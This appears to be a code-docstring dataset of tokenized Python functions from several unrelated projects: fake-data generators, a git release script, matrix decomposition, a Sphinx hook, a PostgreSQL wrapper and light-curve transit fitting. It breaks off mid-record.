{"signature": "def bik():", "body": "return '<STR_LIT>' +'<STR_LIT>'.join([str(random.randint(<NUM_LIT:1>, <NUM_LIT:9>)) for _ in range(<NUM_LIT:5>)]) +str(random.randint(<NUM_LIT:0>, <NUM_LIT>) + <NUM_LIT:50>)<EOL>", "docstring": "Return a random bank identification number.", "id": "f14659:m1"}
{"signature": "def inn(type=\"<STR_LIT>\"):", "body": "if (type in TYPES) and type == '<STR_LIT>':<EOL><INDENT>return person_inn()<EOL><DEDENT>else:<EOL><INDENT>return legal_inn()<EOL><DEDENT>", "docstring": "Return a random taxation ID number for either a person or a company.\n\n    Further information on the topic can be found in [1] (in russian).\n    [1]: https://ru.wikipedia.org/wiki/\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439_\u043d\u043e\u043c\u0435\u0440_\u043d\u0430\u043b\u043e\u0433\u043e\u043f\u043b\u0430\u0442\u0435\u043b\u044c\u0449\u0438\u043a\u0430", "id": "f14659:m2"}
{"signature": "def legal_inn():", "body": "mask = [<NUM_LIT:2>, <NUM_LIT:4>, <NUM_LIT:10>, <NUM_LIT:3>, <NUM_LIT:5>, <NUM_LIT:9>, <NUM_LIT:4>, <NUM_LIT:6>, <NUM_LIT:8>]<EOL>inn = [random.randint(<NUM_LIT:1>, <NUM_LIT:9>) for _ in range(<NUM_LIT:10>)]<EOL>weighted = [v * mask[i] for i, v in enumerate(inn[:-<NUM_LIT:1>])]<EOL>inn[<NUM_LIT:9>] = sum(weighted) % <NUM_LIT:11> % <NUM_LIT:10><EOL>return \"<STR_LIT>\".join(map(str, inn))<EOL>", "docstring": "Return a random taxation ID number for a company.", "id": "f14659:m3"}
{"signature": "def legal_ogrn():", "body": "ogrn = \"<STR_LIT>\".join(map(str, [random.randint(<NUM_LIT:1>, <NUM_LIT:9>) for _ in range(<NUM_LIT:12>)]))<EOL>ogrn += str((int(ogrn) % <NUM_LIT:11> % <NUM_LIT:10>))<EOL>return ogrn<EOL>", "docstring": "Return a random government registration ID for a company.", "id": "f14659:m4"}
{"signature": "def ogrn(type=\"<STR_LIT>\"):", "body": "if (type in TYPES) and type == '<STR_LIT>':<EOL><INDENT>return person_ogrn()<EOL><DEDENT>else:<EOL><INDENT>return legal_ogrn()<EOL><DEDENT>", "docstring": "Return a random government registration ID for either a person or a company.\n\n    Further information on the topic can be found in [1] (in russian).\n    [1]: https://ru.wikipedia.org/wiki/\u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0439_\u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439_\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439_\u043d\u043e\u043c\u0435\u0440", "id": "f14659:m5"}
{"signature": "def person_inn():", "body": "mask11 = [<NUM_LIT:7>, <NUM_LIT:2>, <NUM_LIT:4>, <NUM_LIT:10>, <NUM_LIT:3>, <NUM_LIT:5>, <NUM_LIT:9>, <NUM_LIT:4>, <NUM_LIT:6>, <NUM_LIT:8>]<EOL>mask12 = [<NUM_LIT:3>, <NUM_LIT:7>, <NUM_LIT:2>, <NUM_LIT:4>, <NUM_LIT:10>, <NUM_LIT:3>, <NUM_LIT:5>, <NUM_LIT:9>, <NUM_LIT:4>, <NUM_LIT:6>, <NUM_LIT:8>]<EOL>inn = [random.randint(<NUM_LIT:1>, <NUM_LIT:9>) for _ in range(<NUM_LIT:12>)]<EOL>weighted11 = [v * mask11[i] for i, v in enumerate(inn[:-<NUM_LIT:2>])]<EOL>inn[<NUM_LIT:10>] = sum(weighted11) % <NUM_LIT:11> % <NUM_LIT:10><EOL>weighted12 = [v * mask12[i] for i, v in enumerate(inn[:-<NUM_LIT:1>])]<EOL>inn[<NUM_LIT:11>] = sum(weighted12) % <NUM_LIT:11> % <NUM_LIT:10><EOL>return \"<STR_LIT>\".join(map(str, inn))<EOL>", "docstring": "Return a random taxation ID number for a natural person.", "id": "f14659:m6"}
{"signature": "def person_ogrn():", "body": "ogrn = \"<STR_LIT>\".join(map(str, [random.randint(<NUM_LIT:1>, <NUM_LIT:9>) for _ in range(<NUM_LIT>)]))<EOL>ogrn += str((int(ogrn) % <NUM_LIT> % <NUM_LIT:10>))<EOL>return ogrn<EOL>", "docstring": "Return a random government registration ID for a person.", "id": "f14659:m7"}
{"signature": "def address(user=None):", "body": "return internet.email_address(user=user)<EOL>", "docstring": "An alias for internet.email_address(user).", "id": "f14660:m0"}
{"signature": "def body(quantity=<NUM_LIT:2>, separator='<STR_LIT>', wrap_start='<STR_LIT>', wrap_end='<STR_LIT>',<EOL>html=False, sentences_quantity=<NUM_LIT:3>, as_list=False):", "body": "return lorem_ipsum.paragraphs(quantity=quantity, separator=separator,<EOL>wrap_start=wrap_start, wrap_end=wrap_end,<EOL>html=html,<EOL>sentences_quantity=sentences_quantity,<EOL>as_list=as_list)<EOL>", "docstring": "Return a random email text.", "id": "f14660:m1"}
{"signature": "def subject(words_quantity=<NUM_LIT:4>):", "body": "return lorem_ipsum.title(words_quantity=words_quantity)<EOL>", "docstring": "An alias for lorem_ipsum.title(words_quantity)", "id": "f14660:m2"}
{"signature": "def gender():", "body": "return random.choice(get_dictionary('<STR_LIT>')).strip()<EOL>", "docstring": "Return random gender.", "id": "f14662:m0"}
{"signature": "def abbreviated_gender():", "body": "return gender()[<NUM_LIT:0>:<NUM_LIT:1>]<EOL>", "docstring": "Return random abbreviated gender.", "id": "f14662:m1"}
{"signature": "def shirt_size():", "body": "return random.choice(get_dictionary('<STR_LIT>')).strip()<EOL>", "docstring": "Return a random shirt size.", "id": "f14662:m2"}
{"signature": "def race():", "body": "return random.choice(get_dictionary('<STR_LIT>')).strip()<EOL>", "docstring": "Return random race.", "id": "f14662:m3"}
{"signature": "def language():", "body": "return random.choice(get_dictionary('<STR_LIT>')).strip()<EOL>", "docstring": "Return a random language name, e.g. ``Polish``.", "id": "f14662:m4"}
{"signature": "def street_name():", "body": "return random.choice(get_dictionary('<STR_LIT>')).strip()<EOL>", "docstring": "Return a random street name.", "id": "f14663:m0"}
{"signature": "def street_number():", "body": "length = int(random.choice(string.digits[<NUM_LIT:1>:<NUM_LIT:6>]))<EOL>return '<STR_LIT>'.join(random.sample(string.digits, length))<EOL>", "docstring": "Return a random street number.", "id": "f14663:m1"}
{"signature": "def street_suffix():", "body": "return random.choice(get_dictionary('<STR_LIT>')).strip()<EOL>", "docstring": "Return a random street suffix.", "id": "f14663:m2"}
{"signature": "def street_address():", "body": "return '<STR_LIT>' % (street_number(), street_name(), street_suffix())<EOL>", "docstring": "Return a random street address.\n\n    Equivalent of ``street_number() + ' ' +\n    street_name() + ' ' + street_suffix()``.", "id": "f14663:m3"}
{"signature": "def city():", "body": "return random.choice(get_dictionary('<STR_LIT>')).strip()<EOL>", "docstring": "Return a random city name.", "id": "f14663:m4"}
{"signature": "def state():", "body": "return random.choice(get_dictionary('<STR_LIT>')).strip()<EOL>", "docstring": "Return a random US state name.", "id": "f14663:m5"}
{"signature": "def state_abbrev():", "body": "return random.choice(get_dictionary('<STR_LIT>')).strip()<EOL>", "docstring": "Return a random US abbreviated state name.", "id": "f14663:m6"}
{"signature": "def province():", "body": "return random.choice(get_dictionary('<STR_LIT>')).strip()<EOL>", "docstring": "Return random Canadian province or territory.", "id": "f14663:m7"}
{"signature": "def province_abbrev():", "body": "return random.choice(get_dictionary('<STR_LIT>')).strip()<EOL>", "docstring": "Return random Canadian province or territory abbreviation.", "id": "f14663:m8"}
{"signature": "def zip_code():", "body": "format = '<STR_LIT>'<EOL>if random.random() >= <NUM_LIT:0.5>:<EOL><INDENT>format = '<STR_LIT>'<EOL><DEDENT>result = '<STR_LIT>'<EOL>for item in format:<EOL><INDENT>if item == '<STR_LIT:#>':<EOL><INDENT>result += str(random.randint(<NUM_LIT:0>, <NUM_LIT:9>))<EOL><DEDENT>else:<EOL><INDENT>result += item<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Return a random ZIP code, either in `#####` or `#####-####` format.", "id": "f14663:m9"}
{"signature": "def phone():", "body": "format = '<STR_LIT>'<EOL>result = '<STR_LIT>'<EOL>for item in format:<EOL><INDENT>if item == '<STR_LIT:#>':<EOL><INDENT>result += str(random.randint(<NUM_LIT:0>, <NUM_LIT:9>))<EOL><DEDENT>else:<EOL><INDENT>result += item<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Return a random phone number in `#-(###)###-####` format.", "id": "f14663:m10"}
{"signature": "def country():", "body": "return random.choice(get_dictionary('<STR_LIT>')).strip()<EOL>", "docstring": "Return a random country name.", "id": "f14663:m11"}
{"signature": "def continent():", "body": "return random.choice(get_dictionary('<STR_LIT>')).strip()<EOL>", "docstring": "Return a random continent name.", "id": "f14663:m12"}
{"signature": "def get_dictionary(dict_name):", "body": "global dictionaries_cache<EOL>if dict_name not in dictionaries_cache:<EOL><INDENT>try:<EOL><INDENT>dictionary_file = codecs.open(<EOL>join(DICTIONARIES_PATH, dict_name), '<STR_LIT:r>', '<STR_LIT:utf-8>'<EOL>)<EOL><DEDENT>except IOError:<EOL><INDENT>None<EOL><DEDENT>else:<EOL><INDENT>dictionaries_cache[dict_name] = dictionary_file.readlines()<EOL>dictionary_file.close()<EOL><DEDENT><DEDENT>return dictionaries_cache[dict_name]<EOL>", "docstring": "Load a dictionary file ``dict_name`` (if it's not cached) and return its\ncontents as an array of strings.", "id": "f14664:m0"}
{"signature": "def as_list(iterable_of_arrays):", "body": "return [array.tolist() for array in iterable_of_arrays]<EOL>", "docstring": "Converts an iterable of permutation matrices given as NumPy\n    arrays into a list of lists.", "id": "f14668:m0"}
{"signature": "def bump_version(version, which=None):", "body": "try:<EOL><INDENT>parts = [int(n) for n in version.split('<STR_LIT:.>')]<EOL><DEDENT>except ValueError:<EOL><INDENT>fail('<STR_LIT>')<EOL><DEDENT>if len(parts) != <NUM_LIT:3>:<EOL><INDENT>fail('<STR_LIT>')<EOL><DEDENT>PARTS = {'<STR_LIT>': <NUM_LIT:0>, '<STR_LIT>': <NUM_LIT:1>, '<STR_LIT>': <NUM_LIT:2>}<EOL>index = PARTS[which] if which in PARTS else <NUM_LIT:2><EOL>before, middle, after = parts[:index], parts[index], parts[index + <NUM_LIT:1>:]<EOL>middle += <NUM_LIT:1><EOL>return '<STR_LIT:.>'.join(str(n) for n in before + [middle] + after)<EOL>", "docstring": "Returns the result of incrementing `version`.\n\n    If `which` is not specified, the \"patch\" part of the version number will be\n    incremented.  If `which` is specified, it must be ``'major'``, ``'minor'``,\n    or ``'patch'``. If it is one of these three strings, the corresponding part\n    of the version number will be incremented instead of the patch number.\n\n    Returns a string representing the next version number.\n\n    Example::\n\n        >>> bump_version('2.7.1')\n        '2.7.2'\n        >>> bump_version('2.7.1', 'minor')\n        '2.8.0'\n        >>> bump_version('2.7.1', 'major')\n        '3.0.0'", "id": "f14669:m0"}
{"signature": "def get_version(filename, pattern):", "body": "with open(filename) as f:<EOL><INDENT>match = re.search(r\"<STR_LIT>\" % pattern, f.read())<EOL><DEDENT>if match:<EOL><INDENT>before, version, after = match.groups()<EOL>return version<EOL><DEDENT>fail('<STR_LIT>'.format(pattern, filename))<EOL>", "docstring": "Gets the current version from the specified file.\n\n    This function assumes the file includes a string of the form::\n\n        <pattern> = <version>", "id": "f14669:m2"}
{"signature": "def build_and_upload():", "body": "Popen([sys.executable, '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>']).wait()<EOL>", "docstring": "Uses Python's setup.py commands to build the package and upload it to\n    PyPI.", "id": "f14669:m3"}
{"signature": "def fail(message=None, exit_status=None):", "body": "print('<STR_LIT>', message, file=sys.stderr)<EOL>sys.exit(exit_status or <NUM_LIT:1>)<EOL>", "docstring": "Prints the specified message and exits the program with the specified\n    exit status.", "id": "f14669:m4"}
{"signature": "def git_tags():", "body": "process = Popen(['<STR_LIT>', '<STR_LIT>'], stdout=PIPE)<EOL>return set(process.communicate()[<NUM_LIT:0>].splitlines())<EOL>", "docstring": "Returns a list of the git tags.", "id": "f14669:m5"}
{"signature": "def git_is_clean():", "body": "return Popen(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']).wait() == <NUM_LIT:0><EOL>", "docstring": "Returns ``True`` if and only if there are no uncommitted changes.", "id": "f14669:m6"}
{"signature": "def git_commit(message):", "body": "Popen(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', message]).wait()<EOL>", "docstring": "Commits all changed files with the specified message.", "id": "f14669:m7"}
{"signature": "def git_tag(tag):", "body": "print('<STR_LIT>'.format(tag))<EOL>msg = '<STR_LIT>'.format(tag)<EOL>Popen(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', msg, tag]).wait()<EOL>", "docstring": "Tags the current version.", "id": "f14669:m8"}
{"signature": "def to_permutation_matrix(matches):", "body": "n = len(matches)<EOL>P = np.zeros((n, n))<EOL>P[list(zip(*(matches.items())))] = <NUM_LIT:1><EOL>return P<EOL>", "docstring": "Converts a permutation into a permutation matrix.\n\n    `matches` is a dictionary whose keys are vertices and whose values are\n    partners. For each vertex ``u`` and ``v``, entry (``u``, ``v``) in the\n    returned matrix will be a ``1`` if and only if ``matches[u] == v``.\n\n    Pre-condition: `matches` must be a permutation on an initial subset of the\n    natural numbers.\n\n    Returns a permutation matrix as a square NumPy array.", "id": "f14670:m0"}
{"signature": "def zeros(m, n):", "body": "return np.zeros((m, n))<EOL>", "docstring": "Convenience function for ``numpy.zeros((m, n))``.", "id": "f14670:m1"}
{"signature": "def hstack(left, right):", "body": "return np.hstack((left, right))<EOL>", "docstring": "Convenience function for ``numpy.hstack((left, right))``.", "id": "f14670:m2"}
{"signature": "def vstack(top, bottom):", "body": "return np.vstack((top, bottom))<EOL>", "docstring": "Convenience function for ``numpy.vstack((top, bottom))``.", "id": "f14670:m3"}
{"signature": "def four_blocks(topleft, topright, bottomleft, bottomright):", "body": "return vstack(hstack(topleft, topright),<EOL>hstack(bottomleft, bottomright))<EOL>", "docstring": "Convenience function that creates a block matrix with the specified\n    blocks.\n\n    Each argument must be a NumPy matrix. The two top matrices must have the\n    same number of rows, as must the two bottom matrices. The two left matrices\n    must have the same number of columns, as must the two right matrices.", "id": "f14670:m4"}
{"signature": "def to_bipartite_matrix(A):", "body": "m, n = A.shape<EOL>return four_blocks(zeros(m, m), A, A.T, zeros(n, n))<EOL>", "docstring": "Returns the adjacency matrix of a bipartite graph whose biadjacency\n    matrix is `A`.\n\n    `A` must be a NumPy array.\n\n    If `A` has **m** rows and **n** columns, then the returned matrix has **m +\n    n** rows and columns.", "id": "f14670:m5"}
{"signature": "def to_pattern_matrix(D):", "body": "result = np.zeros_like(D)<EOL>result[D.nonzero()] = <NUM_LIT:1><EOL>return result<EOL>", "docstring": "Returns the Boolean matrix in the same shape as `D` with ones exactly\n    where there are nonzero entries in `D`.\n\n    `D` must be a NumPy array.", "id": "f14670:m6"}
{"signature": "def birkhoff_von_neumann_decomposition(D):", "body": "m, n = D.shape<EOL>if m != n:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(m, n))<EOL><DEDENT>indices = list(itertools.product(range(m), range(n)))<EOL>coefficients = []<EOL>permutations = []<EOL>S = D.astype('<STR_LIT:float>')<EOL>while not np.all(S == <NUM_LIT:0>):<EOL><INDENT>W = to_pattern_matrix(S)<EOL>X = to_bipartite_matrix(W)<EOL>G = from_numpy_matrix(X)<EOL>left_nodes = range(n)<EOL>M = maximum_matching(G, left_nodes)<EOL>M = {u: v % n for u, v in M.items() if u < n}<EOL>P = to_permutation_matrix(M)<EOL>q = min(S[i, j] for (i, j) in indices if P[i, j] == <NUM_LIT:1>)<EOL>coefficients.append(q)<EOL>permutations.append(P)<EOL>S -= q * P<EOL>S[np.abs(S) < TOLERANCE] = <NUM_LIT:0.0><EOL><DEDENT>return list(zip(coefficients, permutations))<EOL>", "docstring": "Returns the Birkhoff--von Neumann decomposition of the doubly\n    stochastic matrix `D`.\n\n    The input `D` must be a square NumPy array representing a doubly\n    stochastic matrix (that is, a matrix whose entries are nonnegative\n    reals and whose row sums and column sums are all 1). Each doubly\n    stochastic matrix is a convex combination of at most ``n ** 2``\n    permutation matrices, where ``n`` is the dimension of the input\n    array.\n\n    The returned value is a list of pairs whose length is at most ``n **\n    2``. In each pair, the first element is a real number in the interval **(0,\n    1]** and the second element is a NumPy array representing a permutation\n    matrix. This represents the doubly stochastic matrix as a convex\n    combination of the permutation matrices.\n\n    The input matrix may also be a scalar multiple of a doubly\n    stochastic matrix, in which case the row sums and column sums must\n    each be *c*, for some positive real number *c*. This may be useful\n    in avoiding precision issues: given a doubly stochastic matrix that\n    will have many entries close to one, multiply it by a large positive\n    integer. The returned permutation matrices will be the same\n    regardless of whether the given matrix is a doubly stochastic matrix\n    or a scalar multiple of a doubly stochastic matrix, but in the\n    latter case, the coefficients will all be scaled by the appropriate\n    scalar multiple, and their sum will be that scalar instead of one.\n\n    For example::\n\n        >>> import numpy as np\n        >>> from birkhoff import birkhoff_von_neumann_decomposition as decomp\n        >>> D = np.ones((2, 2))\n        >>> zipped_pairs = decomp(D)\n        >>> coefficients, permutations = zip(*zipped_pairs)\n        >>> coefficients\n        (1.0, 1.0)\n        >>> permutations[0]\n        array([[ 1.,  0.],\n               [ 0.,  1.]])\n        >>> permutations[1]\n        array([[ 0.,  1.],\n               [ 1.,  0.]])\n        >>> zipped_pairs = decomp(D / 2)  # halve each value in the matrix\n        >>> coefficients, permutations = zip(*zipped_pairs)\n        >>> coefficients  # will be half as large as before\n        (0.5, 0.5)\n        >>> permutations[0]  # will be the same as before\n        array([[ 1.,  0.],\n               [ 0.,  1.]])\n        >>> permutations[1]\n        array([[ 0.,  1.],\n               [ 1.,  0.]])\n\n    The returned list of pairs is given in the order computed by the algorithm\n    (so in particular they are not sorted in any way).", "id": "f14670:m7"}
{"signature": "def process_tables(app, docname, source):", "body": "import markdown<EOL>md = markdown.Markdown(extensions=['<STR_LIT>'])<EOL>table_processor = markdown.extensions.tables.TableProcessor(md.parser)<EOL>raw_markdown = source[<NUM_LIT:0>]<EOL>blocks = re.split(r'<STR_LIT>', raw_markdown)<EOL>for i, block in enumerate(blocks):<EOL><INDENT>if table_processor.test(None, block):<EOL><INDENT>html = md.convert(block)<EOL>styled = html.replace('<STR_LIT>', '<STR_LIT>', <NUM_LIT:1>)  <EOL>blocks[i] = styled<EOL><DEDENT><DEDENT>source[<NUM_LIT:0>] = '<STR_LIT>'.join(blocks)<EOL>", "docstring": "Convert markdown tables to html, since recommonmark can't. This requires 3 steps:\n    Snip out table sections from the markdown\n    Convert them to html\n    Replace the old markdown table with an html table\n\nThis function is called by sphinx for each document. `source` is a 1-item list. To update the document, replace\nelement 0 in `source`.", "id": "f14673:m1"}
{"signature": "def __init__(self,<EOL>database=None,<EOL>user=None,<EOL>password=None,<EOL>host=None):", "body": "self.connection = None<EOL>self.user = None<EOL>self.database = None<EOL>self.host = None<EOL>self.cursors = {}<EOL>if database and user and password and host:<EOL><INDENT>self.open(database, user, password, host)<EOL><DEDENT>", "docstring": "Constructor for this class.\n\n        Parameters\n        ----------\n\n        database : str\n            Name of the database to connect to.\n\n        user : str\n            User name of the database server user.\n\n        password : str\n            Password for the database server user.\n\n        host : str\n            Database hostname or IP address to connect to.\n\n        Returns\n        -------\n\n        `LCDB` object instance", "id": "f14679:c0:m0"}
{"signature": "def open(self, database, user, password, host):", "body": "try:<EOL><INDENT>self.connection = pg.connect(user=user,<EOL>password=password,<EOL>database=database,<EOL>host=host)<EOL>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>' % (database,<EOL>user))<EOL>self.database = database<EOL>self.user = user<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>'<EOL>'<STR_LIT>' % (database,<EOL>user))<EOL>self.database = None<EOL>self.user = None<EOL><DEDENT>", "docstring": "This opens a new database connection.\n\n        Parameters\n        ----------\n\n        database : str\n            Name of the database to connect to.\n\n        user : str\n            User name of the database server user.\n\n        password : str\n            Password for the database server user.\n\n        host : str\n            Database hostname or IP address to connect to.", "id": "f14679:c0:m1"}
{"signature": "def open_default(self):", "body": "if HAVECONF:<EOL><INDENT>self.open(DBDATA, DBUSER, DBPASS, DBHOST)<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "This opens the database connection using the default database parameters\ngiven in the ~/.astrobase/astrobase.conf file.", "id": "f14679:c0:m2"}
{"signature": "def autocommit(self):", "body": "if len(self.cursors.keys()) == <NUM_LIT:0>:<EOL><INDENT>self.connection.autocommit = True<EOL><DEDENT>else:<EOL><INDENT>raise AttributeError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "This sets the database connection to autocommit. Must be called before\nany cursors have been instantiated.", "id": "f14679:c0:m3"}
{"signature": "def cursor(self, handle, dictcursor=False):", "body": "if handle in self.cursors:<EOL><INDENT>return self.cursors[handle]<EOL><DEDENT>else:<EOL><INDENT>if dictcursor:<EOL><INDENT>self.cursors[handle] = self.connection.cursor(<EOL>cursor_factory=psycopg2.extras.DictCursor<EOL>)<EOL><DEDENT>else:<EOL><INDENT>self.cursors[handle] = self.connection.cursor()<EOL><DEDENT>return self.cursors[handle]<EOL><DEDENT>", "docstring": "This gets or creates a DB cursor for the current DB connection.\n\n        Parameters\n        ----------\n\n        handle : str\n            The name of the cursor to look up in the existing list or if it\n            doesn't exist, the name to be used for a new cursor to be returned.\n\n        dictcursor : bool\n            If True, returns a cursor where each returned row can be addressed\n            as a dictionary by column name.\n\n        Returns\n        -------\n\n        psycopg2.Cursor instance", "id": "f14679:c0:m4"}
{"signature": "def newcursor(self, dictcursor=False):", "body": "handle = hashlib.sha256(os.urandom(<NUM_LIT:12>)).hexdigest()<EOL>if dictcursor:<EOL><INDENT>self.cursors[handle] = self.connection.cursor(<EOL>cursor_factory=psycopg2.extras.DictCursor<EOL>)<EOL><DEDENT>else:<EOL><INDENT>self.cursors[handle] = self.connection.cursor()<EOL>return (self.cursors[handle], handle)<EOL><DEDENT>", "docstring": "This creates a DB cursor for the current DB connection using a\nrandomly generated handle. Returns a tuple with cursor and handle.\n\nParameters\n----------\n\ndictcursor : bool\n    If True, returns a cursor where each returned row can be addressed\n    as a dictionary by column name.\n\nReturns\n-------\n\ntuple\n    The tuple is of the form (handle, psycopg2.Cursor instance).", "id": "f14679:c0:m5"}
{"signature": "def commit(self):", "body": "if not self.connection.closed:<EOL><INDENT>self.connection.commit()<EOL><DEDENT>else:<EOL><INDENT>raise AttributeError('<STR_LIT>' %<EOL>self.database)<EOL><DEDENT>", "docstring": "This just calls the connection's commit method.", "id": "f14679:c0:m6"}
{"signature": "def rollback(self):", "body": "if not self.connection.closed:<EOL><INDENT>self.connection.rollback()<EOL><DEDENT>else:<EOL><INDENT>raise AttributeError('<STR_LIT>' %<EOL>self.database)<EOL><DEDENT>", "docstring": "This just calls the connection's commit method.", "id": "f14679:c0:m7"}
{"signature": "def close_cursor(self, handle):", "body": "if handle in self.cursors:<EOL><INDENT>self.cursors[handle].close()<EOL><DEDENT>else:<EOL><INDENT>raise KeyError('<STR_LIT>' % handle)<EOL><DEDENT>", "docstring": "Closes the cursor specified and removes it from the `self.cursors`\ndictionary.", "id": "f14679:c0:m8"}
{"signature": "def close_connection(self):", "body": "self.connection.close()<EOL>LOGINFO('<STR_LIT>' % self.database)<EOL>", "docstring": "This closes all cursors currently in use, and then closes the DB\nconnection.", "id": "f14679:c0:m9"}
{"signature": "def traptransit_fit_magseries(times, mags, errs,<EOL>transitparams,<EOL>sigclip=<NUM_LIT>,<EOL>plotfit=False,<EOL>magsarefluxes=False,<EOL>verbose=True):", "body": "stimes, smags, serrs = sigclip_magseries(times, mags, errs,<EOL>sigclip=sigclip,<EOL>magsarefluxes=magsarefluxes)<EOL>nzind = np.nonzero(serrs)<EOL>stimes, smags, serrs = stimes[nzind], smags[nzind], serrs[nzind]<EOL>transitperiod, transitepoch, transitdepth = transitparams[<NUM_LIT:0>:<NUM_LIT:3>]<EOL>if transitepoch is None:<EOL><INDENT>if verbose:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>spfit = spline_fit_magseries(times, mags, errs, transitperiod,<EOL>sigclip=sigclip,<EOL>magsarefluxes=magsarefluxes,<EOL>verbose=verbose)<EOL>transitepoch = spfit['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>except Exception as e:<EOL><INDENT>sgfit = savgol_fit_magseries(times, mags, errs, transitperiod,<EOL>sigclip=sigclip,<EOL>magsarefluxes=magsarefluxes,<EOL>verbose=verbose)<EOL>transitepoch = sgfit['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>finally:<EOL><INDENT>if transitepoch is None:<EOL><INDENT>LOGERROR(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>returndict = {<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':transitparams,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>},<EOL>'<STR_LIT>':np.nan,<EOL>'<STR_LIT>':np.nan,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':magsarefluxes,<EOL>},<EOL>}<EOL>return returndict<EOL><DEDENT>else:<EOL><INDENT>if transitepoch.size > <NUM_LIT:1>:<EOL><INDENT>if verbose:<EOL><INDENT>LOGWARNING(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>transitparams[<NUM_LIT:1>] = transitepoch[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>LOGWARNING(<EOL>'<STR_LIT>'<EOL>% transitepoch<EOL>)<EOL><DEDENT>transitparams[<NUM_LIT:1>] = transitepoch.item()<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if magsarefluxes:<EOL><INDENT>if transitdepth < <NUM_LIT:0.0>:<EOL><INDENT>transitparams[<NUM_LIT:2>] = -transitdepth<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if transitdepth > <NUM_LIT:0.0>:<EOL><INDENT>transitparams[<NUM_LIT:2>] = -transitdepth<EOL><DEDENT><DEDENT>try:<EOL><INDENT>leastsqfit = spleastsq(transits.trapezoid_transit_residual,<EOL>transitparams,<EOL>args=(stimes, smags, serrs),<EOL>full_output=True)<EOL><DEDENT>except Exception as e:<EOL><INDENT>leastsqfit = None<EOL><DEDENT>if leastsqfit and leastsqfit[-<NUM_LIT:1>] in (<NUM_LIT:1>,<NUM_LIT:2>,<NUM_LIT:3>,<NUM_LIT:4>):<EOL><INDENT>finalparams = leastsqfit[<NUM_LIT:0>]<EOL>covxmatrix = leastsqfit[<NUM_LIT:1>]<EOL>fitmags, phase, ptimes, pmags, perrs, n_transitpoints = (<EOL>transits.trapezoid_transit_func(<EOL>finalparams,<EOL>stimes, smags, serrs,<EOL>get_ntransitpoints=True<EOL>)<EOL>)<EOL>fitchisq = np.sum(<EOL>((fitmags - pmags)*(fitmags - pmags)) / (perrs*perrs)<EOL>)<EOL>fitredchisq = fitchisq/(len(pmags) - len(finalparams) - <NUM_LIT:1>)<EOL>residuals = leastsqfit[<NUM_LIT:2>]['<STR_LIT>']<EOL>residualvariance = (<EOL>np.sum(residuals*residuals)/(pmags.size - finalparams.size)<EOL>)<EOL>if covxmatrix is not None:<EOL><INDENT>covmatrix = residualvariance*covxmatrix<EOL>stderrs = np.sqrt(np.diag(covmatrix))<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>stderrs = None<EOL><DEDENT>if verbose:<EOL><INDENT>LOGINFO(<EOL>'<STR_LIT>' %<EOL>(fitchisq, fitredchisq)<EOL>)<EOL><DEDENT>fperiod, fepoch = finalparams[:<NUM_LIT:2>]<EOL>returndict = {<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':transitparams,<EOL>'<STR_LIT>':finalparams,<EOL>'<STR_LIT>':stderrs,<EOL>'<STR_LIT>':leastsqfit,<EOL>'<STR_LIT>':fitmags,<EOL>'<STR_LIT>':fepoch,<EOL>'<STR_LIT>':n_transitpoints<EOL>},<EOL>'<STR_LIT>':fitchisq,<EOL>'<STR_LIT>':fitredchisq,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':phase,<EOL>'<STR_LIT>':ptimes,<EOL>'<STR_LIT>':pmags,<EOL>'<STR_LIT>':perrs,<EOL>'<STR_LIT>':magsarefluxes,<EOL>},<EOL>}<EOL>if plotfit and isinstance(plotfit, str):<EOL><INDENT>make_fit_plot(phase, pmags, perrs, fitmags,<EOL>fperiod, ptimes.min(), fepoch,<EOL>plotfit,<EOL>magsarefluxes=magsarefluxes)<EOL>returndict['<STR_LIT>'] = plotfit<EOL><DEDENT>return returndict<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>returndict = 